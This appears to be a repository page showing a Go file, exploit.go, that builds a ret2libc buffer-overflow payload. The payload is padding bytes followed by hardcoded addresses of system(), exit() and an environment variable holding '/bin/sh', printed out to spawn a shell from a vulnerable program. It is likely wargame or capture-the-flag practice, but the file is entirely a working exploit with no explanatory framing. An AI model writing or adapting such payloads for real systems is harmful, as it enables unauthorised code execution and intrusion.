-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathexploit.go
29 lines (22 loc) · 815 Bytes
/
exploit.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
package main
import (
"bytes"
"encoding/binary"
"fmt"
"strings"
)
func main() {
var nopsleed = strings.Repeat("\x90", 104)
var system uint32 = 0xf7e4de70
var shellcode uint32 = 0xffffdf52 // mem address of export SHELLCODE=//////////////bin/sh
var exit uint32 = 0xf7e40f50
bufSystem := new(bytes.Buffer)
binary.Write(bufSystem, binary.LittleEndian, &system) // struct.pack(<I, 0xf7e4de70)
bufShellcode := new(bytes.Buffer)
binary.Write(bufShellcode, binary.LittleEndian, &shellcode) // struct.pack(<I, 0xffffdf52)
bufExit := new(bytes.Buffer)
binary.Write(bufExit, binary.LittleEndian, &exit) // struct.pack(<I, 0xf7e40f50)
//ret2libc system()+exit()+*shellcode()
payload := nopsleed + string(bufSystem.Bytes()) + string(bufExit.Bytes()) + string(bufShellcode.Bytes())
fmt.Printf(payload)
}